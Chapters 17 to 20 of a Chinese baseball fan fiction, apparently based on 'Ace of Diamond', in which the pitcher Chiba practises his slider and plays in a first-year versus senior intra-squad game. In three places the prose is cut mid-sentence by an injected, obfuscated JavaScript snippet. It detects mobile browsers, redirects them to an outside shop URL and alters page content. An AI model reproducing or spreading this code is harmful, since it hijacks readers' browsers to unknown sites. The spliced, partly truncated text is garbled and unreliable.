仓持一路小跑回来,看到千叶,冲他挑了挑眉毛。 啊,是在挑衅我吗?千叶站在本垒上,做好了起跑姿势。 “预备、跑!” 迅速起跑,调整姿势踩过一二垒垒包,然后过三垒冲到本垒! “速度也很快!千叶!跟仓持差不多!”助教鼓励地在本垒处不远处边计时边大声喊道。 “谁快?”听到助教话,千叶慢跑回来特意问。 助教不好意思地笑笑安慰道:“他快一点。但你是投手嘛,不要跟他比啦。” 千叶攥紧拳头:可恶!输了。 不远处的仓持听到哈哈大笑:“我赢了!” 助教:“……” 千叶拆了护具,不高兴地跑到仓持后面排队等着最后测量身高体重。 仓持顺手把胳膊搭在他肩膀上问:“都大会的比赛你要不要去看?” 仓持虽然是个坏boy,但内里似乎是个还不错的人,还会邀请他一起去看比赛。 不过……“什么大会?”千叶一脸问号。 “你真的一点不关心周围啊。春季的都大会,就是地区比赛,虽然不如春甲夏甲选拔赛重要,但毕竟也是比赛嘛,有学校大巴可以带我们去。” 千叶问:“我们测试完还赶得上吗?” “额,”仓持把胳膊从千叶肩膀上拿下来,叹气道,“赶不上。” “那去什么啊……”千叶也很失望,他还是很想去看比赛的,这样的比赛应该可以看到克里斯前辈配球,他还没被克里斯前辈接过球,还惦记着这件事,而且他还记得前辈的胳膊投球的时候怪别扭的,还想好好观察一下,可惜一直没有机会。 发现不能去看比赛的仓持也挺失望,但很快他就恢复了,问起了千叶后续的打算:“你下午做什么?要练习投球吗?” 千叶动了动左手手指:“嗯,我还是想练滑球,我的滑球还投不到好球带。” “我要去练习防守。”仓持有点生气,“御幸那家伙居然说我只有两条腿跑得快,剩下的什么都不行!他难道好得到哪里去嘛!” “御幸嘛,他接球技术还不错,姿势很柔软,但配球和防守怎么样就不知道了,捕手的话还是配球厉害比较重要吧?他对自己的配球倒是很有信心的样子。”千叶思考一下,回应仓持道,“嘛,不过也不用等太久,过几天的红白赛上就能看看那家伙是不是在吹牛了。” 17.红白赛前 千叶跟仓持告别后不久,测试记录结束了,一年级开始了每天的训练任务。 千叶打算的倒是很好,基础训练以后去练球,可惜计划赶不上变化,在绕圈跑、折返冲刺、下肢训练……一系列体能训练练习完后,已经快要到吃晚饭的时间了。 千叶叹气。 如果不是新生测试的话他大概还有一段时间练球,但现在就完全没空了。 认命地拉伸完去吃饭,千叶看着头顶的“一顿需食三大碗”,内心已经毫无波澜了。他的胃已经被塑造成了大胃王的形状,再也不会因为区区三碗饭就感觉绝望了。当然了,猛猛吃饭产生的效果也很显著,短短一个星期,他的体重就重了快一公斤,千叶相信他再努力一点就可以摆脱“偏瘦需要多吃饭”的评价。 端着沉甸甸的饭碗,千叶心如止水地找了个地方坐下吃饭,不一会儿,御幸端着碗坐到他旁边。 “你跟仓持说的话我都听到了哦~”没有经过他同意就在他旁边坐下的御幸嘿嘿道。 千叶瞥了他一眼,默默把饭碗向远离御幸的方向挪了挪,确定御幸够不着他的饭碗,没法把吃不完的饭偷偷往他碗里塞,才慢悠悠道:“听到我说什么了?” 御幸凑近千叶,龇牙笑道:“听到你说我接球好,姿势很柔软……什么的。夸人的时候要当面夸嘛,你那么害羞的吗?” 哦,原来是这事,还以为说御幸坏话被他听见了呢。 不过就算他听了也没什么,反正御幸这小胳膊小腿的,打架应该也打不过我。 千叶不当回事地舀了口饭塞进嘴里,随口回应:“我说的都是事实不算夸奖吧。” “这样嘛,那这个意思岂不是说我厉害得理所当然喽。” “你做人真自恋。” “谢谢夸奖~” “这不是夸你啊!”千叶忍不住吐槽。 吃着饭,说着话,千叶有点担心自己消化不良,看着御幸吃饭那叫一个痛苦费劲,他的心情又莫名其实地好了起来,可能这就是幸灾乐祸的魅力吧,他的饭量都好起来了。 赶紧吃完饭将餐盘放到规定的地方,千叶重新坐回御幸的旁边,等着他吃完饭。 虽然他很不喜欢自恋的御幸,但是他只认识他一个捕手,还要等着他给他接球,所以现在得在这儿等着他吃饭,啊,其实能帮他接球捕手,好像还有一个前辈和一个同期来着,但他还是不知道他们叫什么。 千叶又叹气。这又涉及另一件伤心事了,监督给他布置的作业他什么时候才能做完啊…… “不行了……”御幸吃饭是个老大难,现在又捂着肚子快吃不下了,视线都撑得游移起来。 千叶觉得御幸太可怜,有点受不了地移开视线:“别看我,我有洁癖,我是不可能帮你吃的。” “谁看你了,”御幸吐槽一句,然后跟坐在不远处的前园鬼鬼祟祟地挥手,随后跑到了前园旁边。 千叶:“……”好吧。 他认识那个人,前几天跟着菅田前辈拜访隔壁寝室的时候刚认识的,还知道了他的名字——前园健太。前园是同期,不是前辈,虽然人长得很难看,但却很好心,是长得很壮实、打击很厉害的东清国东前辈的直属学弟,两个人都来自大阪,他希望能够成为像东前辈那样打击厉害的人。 好心的前园正让御幸把饭拨他碗里去。 啊,人真是太好了。千叶想。 他果然不该以貌取人,就算是长得不好看,但是人却很好心的同期,也是值得信赖的,就像乾一样。 在前园的帮助下,可怜的御幸终于吃完了饭,放好碗筷,打算跟千叶去练球了。 千叶怜悯地看着他:“要不你还是歇一会儿吧,我怕你刚吃完就运动会胃下垂。” 御幸:“盼我点好吧你这家伙!” 在一个小时之后,千叶跟御幸找了个没人的路灯底下练习滑球。 晚上有一点微风。 虽然有很多学校的棒球部会让球员们剃成光头,但很幸运,青道没有这样的规矩。 千叶能感受到自己的头发被风吹起了起来。 面前的御幸举起了手套。 指尖的触感,OK。胳膊的状态,OK。刚刚的拉伸做得很完美,肚子里的食物也消化了。 千叶此时此刻有一种预感。 他抬起双手,转动手中的小球,左脚为轴心,右脚抬起,然后向前迈!上半身以一种近乎紧绷的弧度向后扭转,肩胛骨在的球衣下绷出凌厉的棱角。 睫毛被风掀得微颤,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997253|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却能感觉到视线里的手套此刻越发清晰。 我的手臂怎么样?状态很好。 没有多余动作地向后摆动手臂,从最高点向前划开——就在手肘即将越过身体中线的刹那,手腕骤然向内扣压,指尖借着惯性狠狠一拧。 我的力道怎么样?拿捏得分毫不差! 瞬间千叶瞳孔放大,小球擦过他指尖的瞬间,带着一股刁钻的旋转飞射而出,在本垒前毫无预兆地朝着内角猛地一沉,轨迹又急又狠,“砰——”地一声巨响,精准地钻进捕手张开的手套里。 “千叶你,学东西蛮快嘛。”接到那颗滑球的御幸有点惊讶地笑笑,“滑球,你现在已经能投出来了啊。” 千叶愣了一下,收回姿势看了看自己的手。 成功了。 在投球的时候他就有预感。这次投球的姿势很好,手臂和手指的状态也很好,投球的力道更是这两天前所未有的准确,如果还投不出来,那他真就不知道要练到什么时候了。 千叶很快重新变得冷静,实际上他并没有觉得很开心,甚至都没有多少成就感:“练习一个多周了,每天都练,晚上睡觉前我都要想几遍怎么投,投得出来不是很正常的事。这才是第一颗投到好球带的滑球。” “欸~对自己这么严厉吗?”御幸还蹲在他的前面,语气有点打趣,带着捕手头盔,他看不到他脸上的表情,也不知道捕手对他的表现满不满意。 他不知道别的投手一般学变化球的进度如何,但他对自己现在的进度是不太满意的。 千叶垮下脸,忍不住开始抱怨:“这不是严不严厉的问题。是变化球太难学了!人为什么不能一晚上学会怎么投变化球!为什么球不会自己跑到捕手手套里面去!” 御幸:“……”这家伙,怎么这么难搞啊,一言不合又开始任性了。 御幸砸手套:“球会自己跑到捕手手套里还用得着你投球吗!别没睡着就先做起梦来了,快点投球,我还在这儿等着呢!” 在投出第一颗完美的球后,投第二颗第三颗也就简单得多了,等到散场的时候,千叶的控球虽然还不算准,但已经能稳定把滑球塞进好球带的边角了。 等到他练得滑球能控球到四宫格的时候,红白赛也差不多快开始了。 18.红白赛(1) a球场,正在一军进行关东大会训练的丹波向球场外望去,似乎能听到另一个球场上的欢呼声。 “今天是红白赛啊。”他感慨道。 “怎么?你想去看?”路过的小凑听到他话道。 “嗯。我们寝室的学弟应该会上场。” 小凑挑眉:“欸,丹波你跟他关系很好嘛?那个传闻中嚣张的学弟。” “其实他还好,也没有那么嚣张。”丹波顿了一下,小声提醒小凑道,“不过这话就不要被菅田前辈听到了。” 这不还是很嚣张吗。小凑心想。 ——与此同时 b球场的红白赛此刻举行得如火如荼。 经过这几个周努力地完成监督的作业,千叶现在已经能叫得出绝大部分队友的名字。而且因为这个作业的缘故,大家似乎对他没那么多偏见了,起码在他叫出别人名字的时候大家都愿意给他好脸色。 千叶有点受宠若惊,他以前从来没这么受欢迎。 不过…… 眼看着打者商量了一下位置就打算随随便便上场的同期,千叶忍不住摁了摁自己突突跳的太阳穴。 这帮家伙就不觉得有什么问题吗? 对面打者投手的信息一概不知,我们现在连棒次都是随便排的,这样真的能赢吗?真的不会被对面前辈随便轰个几十分吗? 监督给了他们很大的权限,除了选人上场外剩下都由他们自己决定。这就导致了没什么经验的一年级,上场的棒次根本串联不起来,一到三棒,大家只随随便便报了以前打过的位置,定了几个暗号就上场了,压根没有上一棒告诉下一棒在打击区观察到的信息,也没有交流,对面的前辈光是用直球就把他们三振掉了。 “哈哈哈!果然是一年级的菜鸟!还得练还得练!”刚刚把他们都投下去的大嗓门小胡子前辈,现在正站在投手丘上大声嘲讽。 要不要这么菜啊……千叶看着旁边垂头丧气下场的同期想。虽然场上小胡子前辈气势很足,嗓门也很大,但不至于一颗球都打不到吧,他投得也没见得多好啊,球速也不快,轨迹也没多犀利,只是球威重一点,嗓门大一点,至于被吓得一颗球都打不中吗?难道有什么一定要在打击区才能发现的特殊之处? 千叶想不出来,从他的位置确实没有看到什么特别的地方。 因为打者下场太快,没等着千叶思考,两队双方已经开始攻守交换,轮到他们队做防守方。 他们队的投手是川岛,而捕手是御幸。 川岛显然并不是那种心态很好的投手,面对身经百战的前辈频频被敲中安打,艰难地在失掉4分后止血,解决掉了最后一名打者后换轮。 看着记分板上第一轮的分数,千叶不由得叹气:“这是一场必输的比赛啊。” 准备上场的前园听到他这话很不高兴:“别说这种丧气的话!这才是第一局而已!没有到最后谁也不知道结果怎么样,棒球都是从九局下半才开始的!如果因为对手强大就觉得自己会输的话,干嘛还来打球,回家算了。” “说得对,”千叶靠在最后面,把脑袋用衣服一闷,“等前园你上场的时候就靠你力挽狂澜了。” “……这家伙是在嘲讽我吧!是吧!”前园扭过头气愤地问旁边的同学。 千叶默默地扭头躺倒在休息区最角落的,忽略气愤的前园。 前园因为要上场打击被劝架的人拉走了,千叶的周围一时安静了下来,他忽然察觉到旁边的凳子下陷了一下,有人坐过来了。千叶用一根手指支开头顶的衣服,露出一道小口子,眼睛一看,是仓持。 “御幸呢?”千叶爬起来,跟他一样,仓持也是第一轮没有上场的打者。 “还在跟川岛商量对策。”仓持看了他一眼,“监督没有让你先发,寂寞了吗?干嘛惹前园。” “我没有寂寞,也没惹前园。”千叶辩解道。他只是真的觉得前园能打出去,并不是嘲讽。 一般抗大棒的打者,对付小胡子前辈那种球投得高的力量型投手,不是相当对口吗? 而且他也是真的希望前园能得分,否则都不用熬到九局就被前辈提前结束比赛了吧。 可惜,事不遂人愿。 场上,那个小胡子前辈只投了一局,就被换到了中外野,投手丘上换上来三年级的一个前辈,因为忽然换了投手,四棒的前园也快速地被三振。 千叶还没来得及观察到场上是个什么情况,就看到前园拖着棒子回到休息区。 前园跟刚刚爬起来千叶对视了一眼,又看了眼千叶旁边坐着的仓持,然后低下头走到一边。 本来就不好看的前园,现在没打出去球,那张脸显得更可怕了。千叶想。 仓持担心千叶又要乱说话,一看到他动弹就赶紧低声呵斥:“闭嘴。” “……”闭着嘴巴没想说话的千叶不可置信地看了仓持一眼,“我还什么都没说呢!” 仓持伸手表示制止:“你别说话,前园已经够难受了,你再说话我怕你要挨打。” 千叶不满:“我情商有那么低吗!我只是想说前园运气不好,换上来这个前辈控球太好了,正好不是他容易对付的类型!” 仓持怀疑地看着他:“……你真是这样想的吗?总觉得怪怪的。” 虽然在心里偷偷说前园难看,但千叶一点都不心虚地回答:“我哪有那么坏!” 不知道是队友太菜,还是前辈太强,除了前园,剩下的两个己方小伙伴很快也三上三下,御幸跟川岛又站上了本垒板和投手丘,上一轮打击的同伴现在也站上了各自守备的位置,现在又轮到前辈们攻击。 千叶这才注意到对面前辈连跑垒指挥都有,正规得真的像正式打比赛,一个赛一个的拼命。 “跟前辈比起来我们真像杂牌军啊。”千叶忍不住道。 说了好几次风凉话的千叶这下终于引起众怒了。 不光是前园,还有好多不认识的同期也开始怒瞪他。 仓持赶紧过去捂住千叶的嘴巴:“你快少说两句吧!” “唔唔唔!” 被手动禁言的千叶勉强老实了一会儿。 牛棚里川上已经在跟小野热身了,等这一轮结束估计川上就会上场,应该一时半会轮不到他,千叶打起精神看着场上的二三年级前辈们的打击。 自己不上场的比赛其实他没多大兴趣,不过前辈们似乎都是一群很厉害的打者,显得投手丘上的投手更加可怜,让他非常想上去把他换下来。 不过对比起可怜的投手,御幸这个做捕手的就好多了,甚至可以算的上出风头。给心态已经出现问题的投球配球,难度很大,但御幸还是能解决打者;一垒有人,垒上的前辈想要盗垒,但他似乎并没有想到本垒前的御幸是个强肩,而且防盗垒技术相当不错,于是盗垒失败出局,给御幸一个Nice play 的机会。 “Out !攻守交换!” 最后一个出局数到手,场上的打者还有投手或兴奋或松了一口气地下场围在御幸旁边。 但站在本垒板后的充当裁判的片冈监督并不满意这个剧本, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千叶瞳孔映射出从投手丘上掷出的白色小球。 那颗小球向他奔来,越来越近。 第一球他们会试探,所以是直球,方向朝着内角过来了,因为我是投手,他们不会对我太警惕,所以这个球——不会落在好球带外。 一瞬间,千叶果断挥棒—— “梆——”正中球心。 “球往在二垒后的空地飞去了!球落地了!” “第一支安打!” 一年级的休息区瞬间爆发一阵欢呼。 轻松跑上二垒的千叶摘下护具,抬头看着已经走向打击区的御幸。 然后他看到,站在打击区的御幸,一边嬉皮笑脸,一边缓缓对他做了一个什么意思都没有的手势。 “你们还有暗号啊?”在二垒守备的前辈有点惊讶地问了千叶一句。 千叶:“……” 此刻,千叶站在二垒,投手丘上的投手前辈很难对他做出牵制,本垒处,御幸精力很集中地对着投手,捕手前辈却正在盯着他。 所以,要盗垒吗?千叶在投手掷出球的那一瞬间笑了一下。 “盗垒!”二垒的守备前辈大喝一声。 站着打击区御幸也露出一个笑容。 “梆——” 他果断地将球击了出去。 ——当然要盗垒了,我们俩可是打过暗号了。 19.红白赛(2) 千叶在看到投手指尖将球掷出的那一刻,几乎是本能地蹬地起跑,钉鞋擦过沙砾声混着风声在耳边炸开,他甚至没回头去看御幸挥棒的动作就向前冲去。 千叶听到身后骤然响起一声震耳的“梆——”,球棒结结实实咬中了球。 他们一年级没有跑垒指挥,所以千叶冲到三垒垒包前时,狠狠刹住步子,放慢节奏,余光里飞速掠过那颗白球划破晴空,直直扎向外野深处。 站在二垒或者是三垒,其实得分率差不了多少,但—— 千叶的脚步猛地一沉却没有停。 “左外野!球要落地了——跑!” 但——他听到了御幸竭尽全力的呐喊。 千叶浑身的血液瞬间烧了起来。他甚至顾不上看球的落点,直直朝着本垒的方向全力冲刺。 这是他就原本的想法,最好的情况就是球能穿到外野,以他的速度拼一下能跑回本垒,而御幸这一球真的打得相当给力,球真的在外野落地了! 风灌进喉咙里带着泥土的腥气,耳边全是模糊的嘈杂的人声,他能感受到自己的心脏在胸膛中咚咚沉稳地跳动。 “速度好快!” “一年级,别太嚣张了!” 看台上的惊呼混着小胡子前辈的怒吼砸过来,千叶视野角落里,那颗从外野传回来的球仿佛一支白箭,仿佛下一秒就要射穿他的心脏,而他的正前方,宫内前辈半蹲在本垒前,手套已经张成了一个蓄势待发的网。 千叶以为自己会紧张,可那一瞬间他的脑子却无比清晰,甚至心跳都及其冷静,重心压低、迅速扑垒,一连串的动作非常精确地完成——几乎是同一瞬间,外野的传来的球“啪”地一声砸进宫内的手套里,他看到宫内前辈想护住本垒,但看到他撞过来担心他受伤,所以让开了本垒的位置,要触杀他。 千叶下意识地将身体在空中扭曲一个方向,从宫内手套侧方的缝隙向本垒伸手—— “Safe——!” 片冈监督的手势高高扬起的那一刻,千叶整个人瘫在地上,大口大口地喘着气,胸口剧烈起伏。 休息区那边,一年级的队友瞬间炸开了锅。板凳上的人几乎是弹起来的,挥着毛巾扯着嗓子跑到围栏旁大喊,震得人耳膜发疼。 “千叶好样的!” “干得漂亮!” “终于得分了啊——!” 第三局,在失掉7分他们终于有了一分进账。 千叶从地上爬起来,拍了拍满身的尘土,溜溜达达地往休息区走。刚靠近,就被一群人呼啦一下围住了。 一年级的大家,人都相当不错,没人趁机报复千叶之前光说风凉话,只有此起彼伏跟他击掌,就是人趁乱伸手揉他的头发,把他的头发搞得乱糟糟的。千叶被挤在中间,晕头转向的,分不清是谁的手在拍他背,又是谁在偷偷掐他的屁股(?)。 怎么还有人掐屁股啊!千叶十分生气地从人群里挤出来整理发型。 还有,头发也给他弄乱了!知不知道他每天起床都要花十几分钟搞他帅气的发型啊! “真有你的啊千叶!”仓持伸手一把搂住千叶的脖子,“你跟御幸那家伙什么时候偷偷商量的暗号?配合得这么默契!” 千叶扒拉开他的胳膊,漫不经心地淡定一甩头发,以为仓持会夸他厉害盗垒时机抓得好:“什么啊,根本就没有暗号。” “哈?”结果仓持吓了一跳,根本没夸他,“没有暗号你还敢盗垒?也太乱来了吧!” 千叶耸耸肩,有点不高兴:“哪有乱来,我们俩不是配合得蛮好的嘛。” 仓持更生气了,扯着他的领子晃来晃去:“你小子!如果最后在本垒前被触杀,就把大好的得分机会丢了知不知道!” “额……”心虚的千叶急着转移话题,想起来御幸还在垒上,于是赶紧问道,“下一个打击的是谁啊?” “是川上。”一个平平淡淡,没什么起伏的声音从旁边插进来。 千叶转头,看到一个顶着小平头、豆豆眼、长得非常普通的同期,扔在人堆里都认不出来的那种。 “啊……”千叶看着他,半天没想起来这是谁,憋出一句,“那个,你是?” 同期的小眼睛无语地看着他:“……我是白州健二郎,你前天才问过我的名字和爱好。” “对不起对不起!”千叶赶紧道歉。 “你们在干什么?”一个幽幽的声音突然从旁边冒出来,带着点没精打采的疲惫。 千叶一惊,循声看去,看到川上站旁边手里捏着球棒,肩膀耷拉着,像是被抽走了所有力气。 千叶愣了愣:“川上?你不是去打击了吗?” 川上的嘴角扯了扯:“被三振了……” “谁都会被三振啦,没什么大不了的。”仓持安慰地过去拍了拍他的肩膀。 “嗯。我们会替你打回来的。”白州过去也拍了拍川上的肩膀。 千叶觉得队形不能乱,所以也过去拍了拍,力道大得让川上的身子晃了两下:“没事的川上,我们投手本来就不靠打击吃饭,不用放在心上!” 川上抬起头,看着他眼神里带着点幽怨,声音气若游丝:“这话从你一个刚刚才得分的人嘴里说出来特别没有信服力。” 千叶刚想嘿嘿一笑,又赶紧做了一下表情管理。不要显得太得意了,要不然太欠揍,不好。 “好了好了,少说两句。要上场守备了。”——此时,千叶却意外地听到了一个此刻不应该在这里的人的声音。 千叶一扭头,看到了御幸。他往身上套捕手护具,蓝色的护胸接扣碰撞发出细微清脆的声响。 千叶看着他,忽然愣住了:“你怎么也下来了?不是刚刚还在二垒吗?” 御幸抬眼,看千叶的眼神仿佛说“你是没睡醒吗?”,语气里无奈中带着无语:“因为在你们聊得热火朝天的时候,攻守交换了啊……都没有人注意到吗?” “哈?”千叶傻眼了,“怎么会这么快就全下场了啊!” 御幸伸出手,扒拉着手指头数给他看:“一个三振,” 川上脸色瞬间垮下来。 御幸接着说:“还有一个一垒前滚地球,一个高飞接杀。好消息是,大家现在渐渐能打中球了。” 川上苦着一张脸。 啊,下一场的投手的是川上。千叶忽然想起来。 “上场吧。”千叶收起了脸上的嬉笑,表情变得无比正经,他抬手轻轻拍了拍川上的肩膀,眼神闪烁着认真的光芒,“最好的进攻就是防守。川上,这一局,让前辈们一分都拿不到,零分下场。” 川上被他突如其来的正经吓了一跳,猛地抬起头,结结巴巴地应道:“欸欸……是!” “喂,千叶,”御幸无奈地扶额,“你别吓川上啊。” “我哪里是吓他!我这是对川上充满信心!”千叶义正辞严地怼怼旁边的川上,“川上,有没有信心!” 川上眼睛瞪得溜圆,下意识站得笔直,更加结结巴巴:“是、是!” “是什么是,我问你能不能让前辈一分都得不到!有没有信心!” “有、呃……有……” “大点声!” “有、有!” 御幸:“……” 白州:“……” 仓持蹦起来捂千叶的嘴:“千叶!你快少说两句吧!” 投手丘上,川上的站姿肉眼可见的僵硬。 他握着球的手微微发抖,投出去的第一球就飘得离谱,红中的好球投得非常甜。 对面的打击区里,站着的是二年级的五棒增子透——一看就是挥大棒型打者,轰这种软绵绵的球简直像送到嘴边的布丁。 “梆——!” 清脆的击球声响起的那一刻,御幸的心就沉了下去。 他掀开面罩,看着白球直直地朝着右外野的全垒打墙外飞去,划过一道漂亮的抛物线,最终消失在围栏网的后面。 全垒打。 休息区里瞬间安静下来。 御幸几乎是立刻快步跑上投手丘。川上投球的手无力地下垂,肩膀微微耸动。御幸走到他身边,才发现他嘴唇抿成一条紧绷的直线,脸色也惨白得吓人。 这家伙……真的被千叶那家伙的话吓到了啊。 御幸觉得头疼得厉害,心里把千叶狠狠锤了一百遍。明知道川上的心理素质差,还跟他开那种玩笑,真恶劣!这笔账,回头一定要好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006662|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算! “好了川上,”御幸用捕手手套拍拍川上的胸口,尽量让自己的语气听起来轻松一点,“最可怕的事情已经发生了,再想也没用了。现在的任务很简单,就是好好解决下一个打者。” 川上看着他,嘴唇动了动,扯出一个比哭还难看的笑容。 不是吧……怎么反而笑得更僵硬了。 御幸一时间竟不知道该说些什么。毕竟他本来就不是什么会安慰人的性格啊…… 所以这种情况应该怎么办? 御幸心里叹了口气,面上笑容更加淡定从容:“下一个打者是六棒。从那个前辈前两轮的打击来看,是喜欢追打外角的坏球的类型,不怎么会选球。你的球投得很准,不用想太多,尽力往我的手套里投就好。”御幸抬起头,看着川上的眼睛,语气笃定,“相信我,我不会让你的球被打出去的。” 川上的喉结滚了滚,没说话,只是点了点头,眼神里还是没什么底气。 而此刻的千叶——他正缩在左外野的守备位置上,远远地看着投手丘上的投手和捕手,忍不住捂住了脸。 他现在无比庆幸自己现在在外野,而不是在内野,一个离投手丘那么近的地方——否则,他觉得自己一定会被御幸那凌迟一百遍,还要被队友追着打。 把投手吓到了啊…… 千叶有点心虚。他知道川上的心态不好,容易紧张,可他没想到事情居然会变成这样……川上这心态也太不好了! 太负责任了啊。“投手上了投手丘,就要把全队防守的七成责任都扛在自己肩上”,虽然话是这么说,但这个时候,明明可以怪守备没接好球,怪捕手配球有问题,为什么非要怪自己啊! 还是心态不行,以后要多“打击”一下川上,习惯了肯定心脏就强大了!千叶想。 他正想着,川上已经把球投了出去。 白球朝着本垒板飞去。打击区里的六棒挥棒落空,本垒板后的监督喊出了一句“好球”。 坏球,但打者挥棒了。御幸松了口气。 可紧接着,第二个球,第三个球……川上的投球越来越不稳,最终,“四坏球保送”,随着片冈监督这句话,六棒慢悠悠地朝着一垒走去。 千叶看着那个走向一垒的身影,心情沉重。 虽然是前辈,可这是已经是下位打线了啊,下位打线都解决不了吗?就因为心态不好?千叶皱眉。 既然心态不好的话,一旦垒上有人,心态就会变得更紧张,投球也会越来越急躁。 所以接下来怎么办? 第七棒已经拿着球棒站上了打击区。 第一个球。 投手丘上的川上看到本垒板处的捕手冲他鼓励地点了点头。 川上深深地吸了一口气——然后,投球! “梆——” 球棒击中了白球。 “左外野!”本垒板处的御幸抬起面罩大声喊道。 白线在视野划过天空向他奔袭而来。 千叶的瞳孔猛地一缩。 这个球……落点会离围墙很近,如果跑得快一点,“说不定”能追上——希望渺茫的那种。 要跑吗? 千叶余光看向投手丘上的川上,后者正死死地盯着这个球。离得太远,他看不清他的脸色。 如果现在偷懒的话,会不会显得我人太坏了? 确实很坏,但跑过去如果还接不到的话会不会很丢人? 也会啊。 本来川上刚刚就被打出了全垒打,又保送了一个人上垒,这个球要是再被打出安打,川上会怎么样?应该不会哭吧?不不,以川上的性格,说不定真的会哭啊,本来就长得一般,哭起来肯定更难看吧。而且他现在投这么差好像还有我的一份锅。 那还是……支援他一下吧! 瞬间,千叶猛地蹬地起跑。他的守备位置原本靠外,此刻全力冲刺,钉鞋在外野的草地上踏出一串急促的声响,风声在耳边呼啸。 近了,落点就在那儿。 就在白球快要落地的前一秒,千叶猛地扑了出去,伸展手臂,稳稳地将手套送了出去。 “啪!” 他听到了球落进手套清脆的声响。 20.红白赛(3) 确实是球落进手套的声音。千叶趴在地上感受到球在手心里的触感。 休息区响起一阵惊呼,对面的前辈都惊讶地看向外野方向。 在意识到自己接到球的那一刻,千叶来不及做出其他反应,毫不犹豫,立刻从地上爬起来,向前冲了几步,迅速挥臂—— 白色小球宛如激光向正往三垒跑的前辈射过去。 “啪——”球精准地传到三垒手中,三垒顺势向下触杀。 “safe!”三垒处的助教双臂向身体两侧水平伸展,双手向下。 三垒处,刚刚滑垒成功的六棒前辈擦了擦额头上吓出来的冷汗,触杀失败的三垒手不甘地直起身体,重新盯紧了他。 “可惜!”一年级集体哀嚎。 对面的二三年级却相互击掌大喊:“Lucky! ” 虽说没有拿下双杀,但千叶这一手美技,还是引起一群聚集在看台上的ob们一片赞叹。 “那个左外野,跑得相当快啊,明明守得那么靠内,居然真的赶得上。” “落点判断得很准,虽然最后没有杀到三垒的跑者,但也会给后续的打者很大压力。” “这孩子是投手吧?从外野传回来的球很快很准。话说青道今年的强肩真是不少,一年级那个捕手也有副好肩膀。” “今年青道招到了好苗子啊。” …… 场外的讨论,场上的选手一概不知,千叶抬头看向投手丘的方向,正好对上川上投来的目光。也不知道是不是错觉,千叶总觉得川上看向他的眼神有点说不清道不明的感激。 对啊,当然要感激了,这可是我这个外野救了你的命啊,接下来淡定点吧。再投出那么好打的球真的对不起我跑这么拼命地救球了。 千叶理直气壮地朝川上举起一根手指,大声道:“一出局!” 站在投手丘上的川上同样举起一根手指,眼睛湿润地大声回应他:“一出局!” “一出局!”场上一根根手指举起,声音此起彼伏。 自从做了投手之后,千叶就觉得做投手真是太爽了。全队防守都系于一人、万众瞩目的主角待遇什么的……真的很合他胃口。但让他想成为投手更主要的一点是,当了投手就可以任性一点。 有实力的投手都是个顶个麻烦精,任性的投手只要足够厉害就不会被别人骂,甚至他老爱挑捕手长相也可以是“小毛病”。 但他现在并不是投手,没有站上投手丘,而是在外野作为守备守在投手身后,这个时候就要有为投手分担压力的自觉——这是守备的任务。 毕竟现在在场上投球的是川上,不是我啊。如果现在是我在投球的话,那一切就是守备欠我的了。千叶心想。 我一会也是要上场投球的! ……不过我现在就这么拼命,一会儿真的还有劲投球吗?千叶觉得自己现在有点大喘气。 救球并不怎么累,但是千钧一发的局势太紧张,让他心跳很快,再加上一通飞跑下来,千叶总感觉气有点不够喘。 好在川上可能因为他那么拼命地救球被感动到了,他的投球终于能给力地发挥出平常水平,准度拿出来了,面对下位打线,在又失掉一分后解决掉了剩下的打线。 攻守交换后,一年级重新轮到了中心打线,这一轮前园终于敲出了安打,站上了一垒,可惜没人把他送回本垒,攻守再次交换。 已经在打击准备区蹲好的千叶,无奈脱下了护具,重新回到休息区拿起了外野手套。 因为以前做过很多位置的守备,千叶的装备是很齐全的,基本上什么位置的手套都有,只是很久没有保养,他在不久前前知道有红白赛的时候就把所有的手套都拿出来护理了一遍。 看,现在就用得上了。千叶握着手套叹气。自己都这么没有时间休息,那一直投球的川上,岂不是会更累? 千叶看了川上一眼,川上脸上的表情却没有像他想的那样疲倦,虽然还是看上去挺紧张的…… 千叶站到了左外野的位置。 这一局,他们轮到了前辈的上位打线。 因为上一局千叶优秀的守备表现,这一局前辈们都默契地没有往他所在的左外野方向击球。 所以千叶提了半天精神,只能看着一颗颗球飞来飞去—— 啊,球来了! 哦,不是我的。 好无聊啊,大家都往中外野和右外野打啊…… 大概就是这样。 半天没有一个球过来,让千叶十分无聊,正好身上的衣服刚刚因为救球弄脏了,闲的没事干他都有点想扣泥巴。 这种情况,千叶就会十分容易走神,而站在投手丘上的川上显然更加不容易。 从这一轮开始前辈们也开始熟悉川上的球了。御幸看着投手丘上已经开始流汗的川上心里想。 现在是二出局,一三垒有人。 现在场上的是五棒增子透,上一轮刚刚把川上的球轰出全垒打。 “坏球——” “好球——” “好球——” 球数来到两好一坏,还差最后一个好球数。 本垒处的御幸侧头看了一眼打击位上的增子。 